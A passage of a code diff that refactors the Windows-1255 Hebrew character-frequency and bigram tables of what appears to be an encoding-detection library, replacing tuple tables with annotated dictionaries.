+ 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 47: { # '“' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 1, # 'n' + 49: 1, # 'o' + 51: 1, # 'r' + 43: 1, # 's' + 44: 1, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 1, # 'ב' + 20: 1, # 'ג' + 16: 1, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 1, # 'ח' + 22: 1, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 1, # 'נ' + 19: 1, # 'ס' + 13: 1, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 46: { # '”' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 1, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 1, # 'ב' + 20: 1, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 1, # 'צ' + 17: 0, # 'ק' + 7: 1, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 58: { # '†' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 2, # '†' + 40: 0, # '…' + }, + 40: { # '…' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 0, # 'l' + 54: 1, # 'n' + 49: 0, # 'o' + 51: 1, # 'r' + 43: 1, # 's' + 44: 1, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 1, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, +} + +# 255: Undefined characters that did not exist in training text # 254: Carriage/Return # 253: symbol (punctuation) that does not belong to word # 252: 0 - 9 +# 251: Control characters -# Windows-1255 language model -# Character Mapping Table: -WIN1255_CHAR_TO_ORDER_MAP = ( -255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 -255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 -253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 -252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 -253, 69, 91, 79, 80, 92, 89, 97, 90, 68,111,112, 82, 73, 95, 85, # 40 - 78,121, 86, 71, 67,102,107, 84,114,103,115,253,253,253,253,253, # 50 -253, 50, 74, 60, 61, 42, 76, 70, 64, 53,105, 93, 56, 65, 54, 49, # 60 - 66,110, 51, 43, 44, 63, 81, 77, 98, 75,108,253,253,253,253,253, # 70 -124,202,203,204,205, 40, 58,206,207,208,209,210,211,212,213,214, -215, 83, 52, 47, 46, 72, 32, 94,216,113,217,109,218,219,220,221, - 34,116,222,118,100,223,224,117,119,104,125,225,226, 87, 99,227, -106,122,123,228, 55,229,230,101,231,232,120,233, 48, 39, 57,234, - 30, 59, 41, 88, 33, 37, 36, 31, 29, 35,235, 62, 28,236,126,237, -238, 38, 45,239,240,241,242,243,127,244,245,246,247,248,249,250, - 9, 8, 20, 16, 3, 2, 24, 14, 22, 1, 25, 15, 4, 11, 6, 23, - 12, 19, 13, 26, 18, 27, 21, 17, 7, 10, 5,251,252,128, 96,253, -) +# Character Mapping Table(s): +WINDOWS_1255_HEBREW_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 69, # 'A' + 66: 91, # 'B' + 67: 79, # 'C' + 68: 80, # 'D' + 69: 92, # 'E' + 70: 89, # 'F' + 71: 97, # 'G' + 72: 90, # 'H' + 73: 68, # 'I' + 74: 111, # 'J' + 75: 112, # 'K' + 76: 82, # 'L' + 77: 73, # 'M' + 78: 95, # 'N' + 79: 85, # 'O' + 80: 78, # 'P' + 81: 121, # 'Q' + 82: 86, # 'R' + 83: 71, # 'S' + 84: 67, # 'T' + 85: 102, # 'U' + 86: 107, # 'V' + 87: 84, # 'W' + 88: 114, # 'X' + 89: 103, # 'Y' + 90: 115, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 50, # 'a' + 98: 74, # 'b' + 99: 60, # 'c' + 100: 61, # 'd' + 101: 42, # 'e' + 102: 76, # 'f' + 103: 70, # 'g' + 104: 64, # 'h' + 105: 53, # 'i' + 106: 105, # 'j' + 107: 93, # 'k' + 108: 56, # 'l' + 109: 65, # 'm' + 110: 54, # 'n' + 111: 49, # 'o' + 112: 66, # 'p' + 113: 110, # 'q' + 114: 51, # 'r' + 115: 43, # 's' + 116: 44, # 't' + 117: 63, # 'u' + 118: 81, # 'v' + 119: 77, # 'w' + 120: 98, # 'x' + 121: 75, # 'y' + 122: 108, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 124, # '€' + 129: 202, # None + 130: 203, # '‚' + 131: 204, # 'ƒ' + 132: 205, # '„' + 133: 40, # '…' + 134: 58, # '†' + 135: 206, # '‡' + 136: 207, # 'ˆ' + 137: 208, # '‰' + 138: 209, # None + 139: 210, # '‹' + 140: 211, # None + 141: 212, # None + 142: 213, # None + 143: 214, # None + 144: 215, # None + 145: 83, # '‘' + 146: 52, # '’' + 147: 47, # '“' + 148: 46, # '”' + 149: 72, # '•' + 150: 32, # '–' + 151: 94, # '—' + 152: 216, # '˜' + 153: 113, # '™' + 154: 217, # None + 155: 109, # '›' + 156: 218, # None + 157: 219, # None + 158: 220, # None + 159: 221, # None + 160: 34, # '\xa0' + 161: 116, # '¡' + 162: 222, # '¢' + 163: 118, # '£' + 164: 100, # '₪' + 165: 223, # '¥' + 166: 224, # '¦' + 167: 117, # '§' + 168: 119, # '¨' + 169: 104, # '©' + 170: 125, # '×' + 171: 225, # '«' + 172: 226, # '¬' + 173: 87, # '\xad' + 174: 99, # '®' + 175: 227, # '¯' + 176: 106, # '°' + 177: 122, # '±' + 178: 123, # '²' + 179: 228, # '³' + 180: 55, # '´' + 181: 229, # 'µ' + 182: 230, # '¶' + 183: 101, # '·' + 184: 231, # '¸' + 185: 232, # '¹' + 186: 120, # '÷' + 187: 233, # '»' + 188: 48, # '¼' + 189: 39, # '½' + 190: 57, # '¾' + 191: 234, # '¿' + 192: 30, # 'ְ' + 193: 59, # 'ֱ' + 194: 41, # 'ֲ' + 195: 88, # 'ֳ' + 196: 33, # 'ִ' + 197: 37, # 'ֵ' + 198: 36, # 'ֶ' + 199: 31, # 'ַ' + 200: 29, # 'ָ' + 201: 35, # 'ֹ' + 202: 235, # None + 203: 62, # 'ֻ' + 204: 28, # 'ּ' + 205: 236, # 'ֽ' + 206: 126, # '־' + 207: 237, # 'ֿ' + 208: 238, # '׀' + 209: 38, # 'ׁ' + 210: 45, # 'ׂ' + 211: 239, # '׃' + 212: 240, # 'װ' + 213: 241, # 'ױ' + 214: 242, # 'ײ' + 215: 243, # '׳' + 216: 127, # '״' + 217: 244, # None + 218: 245, # None + 219: 246, # None + 220: 247, # None + 221: 248, # None + 222: 249, # None + 223: 250, # None + 224: 9, # 'א' + 225: 8, # 'ב' + 226: 20, # 'ג' + 227: 16, # 'ד' + 228: 3, # 'ה' + 229: 2, # 'ו' + 230: 24, # 'ז' + 231: 14, # 'ח' + 232: 22, # 'ט' + 233: 1, # 'י' + 234: 25, # 'ך' + 235: 15, # 'כ' + 236: 4, # 'ל' + 237: 11, # 'ם' + 238: 6, # 'מ' + 239: 23, # 'ן' + 240: 12, # 'נ' + 241: 19, # 'ס' + 242: 13, # 'ע' + 243: 26, # 'ף' + 244: 18, # 'פ' + 245: 27, # 'ץ' + 246: 21, # 'צ' + 247: 17, # 'ק' + 248: 7, # 'ר' + 249: 10, # 'ש' + 250: 5, # 'ת' + 251: 251, # None + 252: 252, # None + 253: 128, # '\u200e' + 254: 96, # '\u200f' + 255: 253, # None +} -# Model Table: -# total sequences: 100% -# first 512 sequences: 98.4004% -# first 1024 sequences: 1.5981% -# rest sequences: 0.087% -# negative sequences: 0.0015% -HEBREW_LANG_MODEL = ( -0,3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,2,3,2,1,2,0,1,0,0, -3,0,3,1,0,0,1,3,2,0,1,1,2,0,2,2,2,1,1,1,1,2,1,1,1,2,0,0,2,2,0,1, -3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2,2, -1,2,1,2,1,2,0,0,2,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, -3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2, -1,2,1,3,1,1,0,0,2,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, -3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,0,1,2,2,1,3, -1,2,1,1,2,2,0,0,2,2,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0, -3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,2,2,2,2,3,2, -1,2,1,2,2,2,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, -3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,2,3,2,2,3,2,2,2,1,2,2,2,2, -1,2,1,1,2,2,0,1,2,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0, -3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,0,2,2,2,2,2, -0,2,0,2,2,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, -3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,0,2,2,2, -0,2,1,2,2,2,0,0,2,1,0,0,0,0,1,0,1,0,0,0,0,0,0,2,0,0,0,0,0,0,1,0, -3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,3,2,1,2,3,2,2,2, -1,2,1,2,2,2,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0, -3,3,3,3,3,3,3,3,3,2,3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,3,1,0,2,0,2, -0,2,1,2,2,2,0,0,1,2,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,2,0,0,1,0, -3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,2,3,2,2,3,2,1,2,1,1,1, -0,1,1,1,1,1,3,0,1,0,0,0,0,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, -3,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0, -0,0,1,0,0,0,0,0,2,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2,2,2,2,2, -0,2,0,1,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, -3,3,3,3,3,3,3,3,3,2,3,3,3,2,1,2,3,3,2,3,3,3,3,2,3,2,1,2,0,2,1,2, -0,2,0,2,2,2,0,0,1,2,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0, -3,3,3,3,3,3,3,3,3,2,3,3,3,1,2,2,3,3,2,3,2,3,2,2,3,1,2,2,0,2,2,2, -0,2,1,2,2,2,0,0,1,2,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0, -3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,2,3,3,2,2,2,3,3,3,3,1,3,2,2,2, -0,2,0,1,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, -3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,3,3,3,2,3,2,2,2,1,2,2,0,2,2,2,2, -0,2,0,2,2,2,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, -3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,1,3,2,3,3,2,3,3,2,2,1,2,2,2,2,2,2, -0,2,1,2,1,2,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0, -3,3,3,3,3,3,2,3,2,3,3,2,3,3,3,3,2,3,2,3,3,3,3,3,2,2,2,2,2,2,2,1, -0,2,0,1,2,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, -3,3,3,3,3,3,3,3,3,2,1,2,3,3,3,3,3,3,3,2,3,2,3,2,1,2,3,0,2,1,2,2, -0,2,1,1,2,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,2,0, -3,3,3,3,3,3,3,3,3,2,3,3,3,3,2,1,3,1,2,2,2,1,2,3,3,1,2,1,2,2,2,2, -0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,2,0,0,0,0,0,0,0,0, -3,3,3,3,3,3,3,3,3,3,0,2,3,3,3,1,3,3,3,1,2,2,2,2,1,1,2,2,2,2,2,2, -0,2,0,1,1,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, -3,3,3,3,3,3,2,3,3,3,2,2,3,3,3,2,1,2,3,2,3,2,2,2,2,1,2,1,1,1,2,2, -0,2,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, -3,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0, -1,0,1,0,0,0,0,0,2,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,3,3,2,3,3,2,3,1,2,2,2,2,3,2,3,1,1,2,2,1,2,2,1,1,0,2,2,2,2, -0,1,0,1,2,2,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, -3,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,2,2,0, -0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,0,1,0,1,0,1,1,0,1,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0, -0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, -3,2,2,1,2,2,2,2,2,2,2,1,2,2,1,2,2,1,1,1,1,1,1,1,1,2,1,1,0,3,3,3, -0,3,0,2,2,2,2,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, -2,2,2,3,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,2,1,2,2,2,1,1,1,2,0,1, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -2,2,2,2,2,2,2,2,2,2,2,1,2,2,2,2,2,2,2,2,2,2,2,0,2,2,0,0,0,0,0,0, -0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -2,3,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,1,0,2,1,0, -0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0, -0,3,1,1,2,2,2,2,2,1,2,2,2,1,1,2,2,2,2,2,2,2,1,2,2,1,0,1,1,1,1,0, -0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,2,1,1,1,1,2,1,1,2,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0, -0,0,2,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0, -2,1,1,2,2,2,2,2,2,2,2,2,2,2,1,2,2,2,2,2,1,2,1,2,1,1,1,1,0,0,0,0, -0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -1,2,1,2,2,2,2,2,2,2,2,2,2,1,2,1,2,1,1,2,1,1,1,2,1,2,1,2,0,1,0,1, -0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,3,1,2,2,2,1,2,2,2,2,2,2,2,2,1,2,1,1,1,1,1,1,2,1,2,1,1,0,1,0,1, -0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -2,1,2,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,2,2, -0,2,0,1,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, -3,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -2,1,1,1,1,1,1,1,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,2,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0, -0,1,1,1,2,1,2,2,2,0,2,0,2,0,1,1,2,1,1,1,1,2,1,0,1,1,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0, -1,0,1,0,0,0,0,0,1,0,1,2,2,0,1,0,0,1,1,2,2,1,2,0,2,0,0,0,1,2,0,1, -2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,2,0,2,1,2,0,2,0,0,1,1,1,1,1,1,0,1,0,0,0,1,0,0,1, -2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,1,0,0,0,0,0,1,0,2,1,1,0,1,0,0,1,1,1,2,2,0,0,1,0,0,0,1,0,0,1, -1,1,2,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,2,2,1, -0,2,0,1,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -2,1,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -1,1,1,1,1,1,1,1,1,2,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,1, -2,0,1,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,1,1,2,1,1,2,0,1,0,0,0,1,1,0,1, -1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,1,0,1,1,2,0,1,0,0,0,0,2,1,1,2,0,2,0,0,0,1,1,0,1, -1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,1,0,2,1,1,0,1,0,0,2,2,1,2,1,1,0,1,0,0,0,1,1,0,1, -2,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,1,2,2,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,1, -1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,1,2,2,0,0,0,0,2,1,1,1,0,2,1,1,0,0,0,2,1,0,1, -1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,1,0,1,1,2,0,1,0,0,1,1,0,2,1,1,0,1,0,0,0,1,1,0,1, -2,2,1,1,1,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,1,0,2,1,1,0,1,0,0,1,1,0,1,2,1,0,2,0,0,0,1,1,0,1, -2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 